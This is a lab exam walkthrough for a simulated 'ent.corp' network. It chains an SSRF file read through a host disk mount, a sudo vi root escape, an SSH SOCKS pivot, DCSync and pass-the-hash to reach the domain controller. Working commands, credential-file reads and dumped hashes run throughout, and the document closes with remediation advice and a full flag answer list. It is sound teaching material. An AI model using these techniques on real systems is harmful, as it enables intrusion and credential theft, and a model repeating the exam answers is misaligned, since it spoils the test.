

ENT.CORP

One VPN handshake to Domain Admin. An SSRF, a mounted host disk, a forgetful sudo rule, and a sync account that knew too much.

- SSRF → LFI
- HOST DISK MOUNT
- GTFOBINS
- SOCKS PIVOT
- DCSYNC
- PASS-THE-HASH

OBJECTIVE	Retrieve secret.xml from the Domain Controller
SCOPE	172.26.10.0/24 · out of scope: 172.26.10.1
ENTRY POINT	172.26.10.11 — app-server (Ubuntu)
INTERNAL NET	10.10.10.0/24 (discovered via pivot)
DOMAIN	ent.corp · DC: 10.10.10.100 (ENT-DC)
RESULT	Full domain compromise · 17 / 17 flags

CalmAy

Endpoint · Cloud · Application Security // Offensive Security Engineer

Solved and documented end-to-end. For educational and authorized penetration-testing purposes only.

00 Mission Briefing

ENGAGEMENT / BLACK-BOX / SINGLE VPN INGRESS

The exam drops you onto a VPN with a single sentence of scope and no map. There is one objective — recover `secret.xml` from a Domain Controller you cannot yet see, on a network you have not yet found. Everything between the VPN handshake and that file is yours to discover. What follows is the complete path, reconstructed exactly as it was walked: every scan, every payload, every credential, and the reasoning that connected each step to the next.

2

NETWORKS

3

HOSTS OWNED

7

CHAINED FLAWS

17

FLAGS

CHAIN How the pieces connect

01

RECON

Full TCP sweep of the lone in-scope host exposes two high-port web apps that a top-1000 scan would have missed entirely.

02

SSRF → HOST FILE READ

The Flask `/fetch` endpoint reads `file://` URLs; a bind-mounted host disk turns that into a full read of the host's `/etc/passwd`, leaking the **app-admin** password.

03

INITIAL ACCESS

The leaked password authenticates over **SSH**.

04

PRIVILEGE ESCALATION

A `sudo vi` entitlement is a one-line GTFOBins escape to **root**.

05

PIVOT

Logs betray an internal host; an SSH dynamic SOCKS tunnel opens the hidden **10.10.10.0/24** segment.

06

CREDENTIAL LEAK

An exposed **elFinder** file manager serves a plaintext note holding the **sync_user** domain credentials.

07

DCSYNC → PASS-THE-HASH

`sync_user` holds replication rights — `secretsdump` lifts the **krbtgt** and **Administrator** hashes, and PTH walks straight into the DC to collect `secret.xml`.

READING OF THE BOX

No single flaw here is exotic. The exam tests *chaining*: recognizing that a container's convenience mount, a comment field in `/etc/passwd`, a leftover file manager, and an over-scoped sync account are not five isolated findings but one continuous path.

01 Reconnaissance

HOST DISCOVERY / FULL PORT SWEEP / SERVICE FINGERPRINT

1.1 Finding the one live host

Scope is a full `/24` with a single carve-out for the gateway. Host discovery first, so we spend effort only where something answers:

```
$ nmap -sn 172.26.10.0/24 --exclude 172.26.10.1
# Nmap scan report for 172.26.10.11 - Host is up (0.42s latency)
# 255 addresses scanned, 1 host up
```

One machine answers: `172.26.10.11`. That is the entire attack surface for now.

1.2 Why the full sweep mattered

A conventional top-1000 scan is misleading here — it shows only SSH and a filtered RDP, which looks like a dead end. The services that matter live on high ports, so a complete `-p-` sweep (with `-Pn`, since the host filters ping) is non-negotiable:

```
$ nmap -p- -T4 -Pn --min-rate 1000 172.26.10.11 -oN fullports.txt
# 22/tcp open · 8091/tcp open · 23100/tcp open

$ nmap -sV -sC -Pn -p 8091,23100 172.26.10.11
22/tcp    open  ssh      OpenSSH 9.6p1 (Ubuntu)
8091/tcp  open  http     Node.js Express  - http-title: HotHost
23100/tcp open  http     Werkzeug/3.1.3 Python/3.9.22 (Flask)
```

TRADECRAFT

Top-1000 scans exist for speed, not truth. On any target where the objective isn't visible in the first pass, a full sweep is the difference between "dead box" and "two web apps."

FLAG 01 — MONITORING SOFTWARE PORT

8091

HotHost is the server-monitoring application.

02 SSRF & Host File Read

FLASK /FETCH / FILE:// SCHEME / HOSTFS MOUNT ESCAPE

2.1 A self-documenting vulnerability

The Flask service on 23100 practically hands you the exploit. Its root response describes the only route it serves and the exact scheme it accepts:

```
$ curl -s http://172.26.10.11:23100/
Access denied. Only the /fetch route with 'url' parameter is allowed.
Example: /fetch?url=file:///<location>, To Access Host files go with 'hostfs' path
```

The banner names the route, the parameter, the scheme, and even the escape hatch to the host. This is a Server-Side Request Forgery primitive with a `file://` handler bolted on.

2.2 Container vs. host — the crucial diff

Reading `/etc/passwd` two ways reveals the whole trick. Plain `file:///etc/passwd` returns the *container's* passwd; prefixing `hostfs` returns the *host's*. The Flask app runs in Docker started with `-v /:/hostfs:ro` — the entire host disk, mounted read-only, one path prefix away:

```
$ curl -s "http://172.26.10.11:23100/fetch?url=file:///etc/passwd" # container
$ curl -s "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd" # HOST
...
app-admin:x:1000:1000:@dmin@123:/home/app-admin:/bin/bash
```

The account's password is sitting in the GECOS/comment field — a place operators forget is world-readable the moment `/etc/passwd` is exposed.

FLAG 07 — PAYLOAD TO READ HOST PASSWD
`file:///hostfs/etc/passwd`

FLAG 08 — APP-ADMIN CREDENTIALS
`app-admin : @dmin@123`
Recovered from the GECOS field of the host's passwd file.

FLAG 05 — ROUTE REVEALING SYSTEM FILES
`pug`
The HotHost leak route (§2.3); the Flask fetch route feeds it.

WHY THIS IS CRITICAL, NOT COSMETIC

An SSRF that reads container files is a moderate finding. The same SSRF against a host-root bind mount is a **full host disclosure** — SSH keys, configs, shadow, anything. The container was never the security boundary the design assumed it was.

2.3 HotHost's leaked secrets (port 8091)

The Node/Express app leaks on two fronts. A dummy stylesheet in its static `assets` directory carries a database password, and a custom API route emits a token that points back at the Flask service:

```

$ curl -s "http://172.26.10.11:8091/assets/dummy.css"
... --db-pass: "DB_P@ssw0rd!";

$ curl -s "http://172.26.10.11:8091/pug"
{ "message": "Visit port 23100",
  "secretToken": "Monitor the system files" }

# the exam wants the db-pass base64-encoded
$ echo -n 'DB_P@ssw0rd!' | base64
REJfUEBzc3cwcmQh

```

#	Flag	Value
02	Web directory revealing sensitive info	assets
03	Base64 of db-pass (DB_P@ssw0rd!)	REJfUEBzc3cwcmQh
04	HotHost web application password	Very3stroungPassword
06	secretToken string	Monitor the system files

03 Foothold & Privilege Escalation

SSH REUSE / SUDO -L / GTFOBINS VI → ROOT

3.1 Initial access over SSH

The credential pulled from the host passwd file is a system login — no pivot or cracking needed. It authenticates directly:

```
$ ssh app-admin@172.26.10.11
Password: @dmin@123      → Last login: Mon May 19 ... from 192.168.90.2
app-admin@app-server:~$
```

3.2 The sudo rule that gives it all away

The first move after any shell is enumerating sudo rights. One entry does the damage:

```
app-admin$ sudo -l
User app-admin may run the following commands on app-server:
  (ALL) /usr/bin/vi
```

FLAG 09 – COMMANDS APP-ADMIN CAN RUN

/usr/bin/vi

3.3 GTFOBins: vi → root

`vi` can spawn a shell from command mode, and running it under `sudo` means that shell inherits root. The cleanest form runs the escape non-interactively:

```
$ sudo vi -c '!/bin/bash'
# interactive equivalent: :set shell=/bin/bash then :shell

root@app-server:~# id
uid=0(root) gid=0(root) groups=0(root)
```

THE PATTERN

Any editor, pager, or interpreter in sudoers is effectively a root shell. GTFOBins catalogues these escapes; `vi`, `less`, `awk`, `find`, and `python` are the usual suspects.

3.4 Confirming the environment as root

Root access reveals the machine is a Docker host, and the running containers explain every leak seen from the outside — including the HotHost admin password injected at runtime:

```
root# docker ps
code-testx   code           python3 code.py   0.0.0.0:23100→23100
hot_1        my-hothost:leak node src/index.js 0.0.0.0:8091→8091

root# docker inspect hot_1 --format '{{range .Config.Env}}{{println .}}{{end}}'
HOTHOST_WEB_ADMIN_USERNAME=admin
HOTHOST_WEB_ADMIN_PASSWORD=Very3stroungPassword
```

Reviewing `/root/hot/server/src/index.js` confirms the `/pug` leak route and its token, and `/root/app2/code.py` confirms the SSRF's `file://` handler — closing the loop on how the external findings were produced.

04 Lateral Movement & Pivot

LOG MINING / SSH DYNAMIC SOCKS / INTERNAL SWEEP

4.1 Logs point inward

The auth log and the admin's shell history both reference a machine on a network we cannot yet reach — the inbound connections and a stray `ping` give it away:

```
root# cat /var/log/auth.log | grep -aoE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u
root# cat /home/app-admin/.bash_history
...
ping 10.10.10.20
docker run -d -p 23100:23100 -v /:/hostfs:ro --name code-testx code
```

```
FLAG 10 — IP DISCOVERED FROM LOG FILE
10.10.10.20
```

4.2 Building the tunnel

The app-server routes to `10.10.10.0/24`, but our attacker box does not. An SSH dynamic SOCKS proxy turns the compromised host into a gateway so local tooling can reach the internal segment:

```
# attacker box — one command, then leave it running
$ ssh -D 1080 -N -f app-admin@172.26.10.11
# /etc/proxychains.conf → last line: socks5 127.0.0.1 1080

# prove the route works before trusting it
$ proxychains curl -s -o /dev/null -w "HTTP:%{http_code}\n" http://10.10.10.20/
HTTP:200
```

4.3 Mapping the hidden network

A ping sweep from the app-server (fast, no tunnel overhead) reveals the shape of the internal segment — a jump box and, more importantly, a domain controller:

```
root# for i in $(seq 1 254); do ping -c1 -W1 10.10.10.$i >/dev/null 2>&1 \
    && echo "UP: 10.10.10.$i"; done
UP: 10.10.10.1
UP: 10.10.10.20    ← Linux web / jump box
UP: 10.10.10.100  ← Windows Domain Controller
```

4.4 Fingerprinting the jump box

```
$ proxychains nmap -sT -Pn -sV -p 80 10.10.10.20
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
```

```
FLAG 11 — WEB SERVICE VERSION ON DISCOVERED IP
2.4.58
```

05 Credential Discovery

DIRECTORY ENUM / ELFINDER FILE MANAGER / AD CRED

5.1 The directory the small wordlist hid

The default lists came up empty against 10.10.10.20 — only `index.html` and `info.php`. Escalating to a larger wordlist surfaced an exposed **eFinder** web file manager, whose default `files/` directory had listing enabled and held a plainly named credentials note:

```
$ curl -s "http://10.10.10.20/elfinder/files/" | grep -ioE 'href="[^"]+"'
href="AD_Resources.txt"

$ curl -s "http://10.10.10.20/elfinder/files/AD_Resources.txt"
#Active Directory Sync Service Credentials:
Service Account: sync_user@ent.corp
Password: Summer@2025
```

FLAG 12 — URL REVEALING SYNC_USER CREDENTIALS

http://10.10.10.20/elfinder/files/AD_Resources.txt

FLAG 13 — SYNC_USER PASSWORD

Summer@2025

WHEN THE WORDLIST LIES

elfinder isn't in `dirb/common.txt`. An empty result from a small list is not proof of absence — escalate to `directory-list-2.3-medium` or a raft list before concluding a host is bare. Half of web enumeration is choosing the right dictionary.

5.2 Confirming the Domain Controller

10.10.10.100 answers on the full Windows-AD port profile — Kerberos, LDAP(S), SMB, RPC, and WinRM — the unmistakable signature of a domain controller. Anonymous LDAP confirms the domain:

```
$ for p in 88 135 139 389 445 636 5985; do
  (echo > /dev/tcp/10.10.10.100/$p) 2>/dev/null && echo "OPEN: $p"; done
OPEN: 88 135 139 389 445 636 5985

$ proxychains ldapsearch -x -H ldap://10.10.10.100 -s base -b "" namingContexts
namingContexts: DC=ent,DC=corp
```

FLAG 14 — DOMAIN CONTROLLER IP

10.10.10.100

Domain: ent.corp — DC hostname ENT-DC.

06 DCSync & Domain Compromise

REPLICATION RIGHTS / SECRETS DUMP / KRBtgt + ADMIN HASHES

6.1 Why sync_user is the master key

Directory-sync service accounts (the pattern here mirrors Azure AD Connect) are routinely granted the *Replicating Directory Changes* privileges so they can read every account's secrets. That is exactly the right needed for a **DCSync** — the attacker impersonates a domain controller and asks the real DC to replicate password hashes. Impacket automates it over the tunnel:

```
$ proxychains impacket-secretsdump 'ent.corp/sync_user:Summer@2025'@10.10.10.100

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3d15cb1141d579823f8bb08f1f23e316 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36405f88da713c31bbff52e57aea1f86 :::
ent.corp\sync_user:1103:aad3b435...:e58b89915ba50f299b4bb10325894f91 :::
ENT-DC$:1000:aad3b435...:8286ebb57924b18e2038514345511727 :::
[*] Kerberos keys grabbed (aes256 / aes128 / des for each principal)
```

FLAG 15 — KRBtgt ACCOUNT NT HASH

36405f88da713c31bbff52e57aea1f86

BLAST RADIUS

The **krbtgt** hash signs every Kerberos ticket in the domain — it is the seed for a *Golden Ticket*, meaning durable, domain-wide, reboot-surviving access. The **Administrator** NT hash (3d15cb1141d579823f8bb08f1f23e316) is the immediate key: no cracking required, because the hash *is* the credential under Pass-the-Hash.

07 Pass-the-Hash & Objective

NTLM PTH / C\$ SHARE / SECRET.XML EXFIL

7.1 Walking into the DC with a hash

NTLM authentication never needs the plaintext — the hash alone proves identity. Passing the Administrator hash mounts the DC's **C\$** administrative share directly:

```
$ proxychains impacket-smbclient \  
    -hashes :3d15cb1141d579823f8bb08f1f23e316 'ent.corp/Administrator@10.10.10.100'  
  
# use C$  
# cd Users\Administrator\Desktop  
# ls  
-rw-rw-rw- 1553 secret.xml.txt  
# get secret.xml.txt
```

FLAG 16 – DIRECTORY CONTAINING THE XML

C:\Users\Administrator\Desktop

7.2 The objective, opened

The retrieved file is an employee compensation record. The target entry closes the engagement:

```
<Employee security-clearance="restricted">  
  <FullName>Danielle M. Chen</FullName>  
  <Position>Director of Engineering</Position>  
  <Compensation>  
    <BaseSalary currency="USD">189500</BaseSalary>  
    <Equity>2500</Equity>  
  </Compensation>  
</Employee>
```

FLAG 17 – BASE SALARY, "DIRECTOR OF ENGINEERING" // OBJECTIVE COMPLETE

189,500 USD

Danielle M. Chen. secret.xml successfully retrieved from the Domain Controller — full domain compromise achieved.

08 Flag Ledger

ALL 17 FLAGS / RECOVERED IN ORDER

#	Flag	Value
01	Monitoring software TCP port	8091
02	Web directory revealing sensitive info	assets
03	Base64 hash of db-pass credentials	REJfUEBzc3cwcmQh
04	Working password of "HotHost" web app	Very3stroungPassword
05	Web route revealing system files	pug
06	secretToken string	Monitor the system files
07	Payload to read host passwd file	file:///hostfs/etc/passwd
08	Discovered credentials of "app-admin"	app-admin:@dmin@123
09	Commands app-admin can run	/usr/bin/vi
10	IP discovered from log file	10.10.10.20
11	Web service version on discovered IP	2.4.58
12	URL revealing sync_user credentials	http://10.10.10.20/elfinder/files/AD_Resources.txt
13	Password of sync_user	Summer@2025
14	Domain Controller IP address	10.10.10.100
15	krbtgt account NT hash	36405f88da713c31bbff52e57aea1f86
16	DC directory containing the XML	C:\Users\Administrator\Desktop
17	Base salary of "Director of Engineering"	189500

09 Findings & Remediation

Finding	Recommendation
SSRF + host bind-mount (Flask app)	Allow-list URL schemes; reject file:// outright. Never bind-mount the host root (-v /:/hostfs) into a container. Run containers rootless and least-privileged.
Secrets in passwd / CSS / flat files	Never place credentials in GECOS fields, web assets, or plaintext notes. Remove AD_Resources.txt; rotate every exposed secret immediately.
Sudo vi (GTFOBins escape)	Strip shell-escaping binaries from sudoers. Grant only specific, audited commands, ideally with NOEXEC and full command-path pinning.
elFinder exposure + autoindex	Disable Apache directory listing; place file managers behind authentication or remove them. Serve uploads from outside the web root.

Over-privileged sync account (DCSync)	Scope replication rights to tier-0 only; deny interactive logon for service accounts; alert on DRSUAPI replication from non-DC hosts.
Domain-wide hash exposure	Rotate krbtgt twice (with dwell time between); reset all domain hashes; segment the network by tier; deploy PtH and Golden-Ticket detection.

10 Attack Chain at a Glance

#	Stage	Technique	Result
01	Recon	Full TCP sweep + service scan	HotHost + Flask apps found
02	SSRF / LFI	/fetch + hostfs mount	app-admin password
03	Foothold	SSH credential reuse	Shell as app-admin
04	PrivEsc	sudo vi (GTF0Bins)	root on 172.26.10.11
05	Pivot	SSH -D SOCKS tunnel	Access to 10.10.10.0/24
06	Cred Leak	elFinder AD_Resources.txt	sync_user domain creds
07	DCSync	secretsdump (replication rights)	krbtgt + Administrator hashes
08	Objective	Pass-the-Hash → SMB C\$	secret.xml retrieved

ENT.CORP – CRTA EXAM WALKTHROUGH

Authored by **CalmAy** · Endpoint · Cloud · Application Security // Offensive Security Engineer
 Prepared for educational and authorized testing use only.